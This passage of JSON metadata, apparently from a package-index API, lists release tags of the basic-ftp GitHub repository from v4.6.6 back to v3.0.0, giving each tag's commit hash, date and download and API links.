chli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z",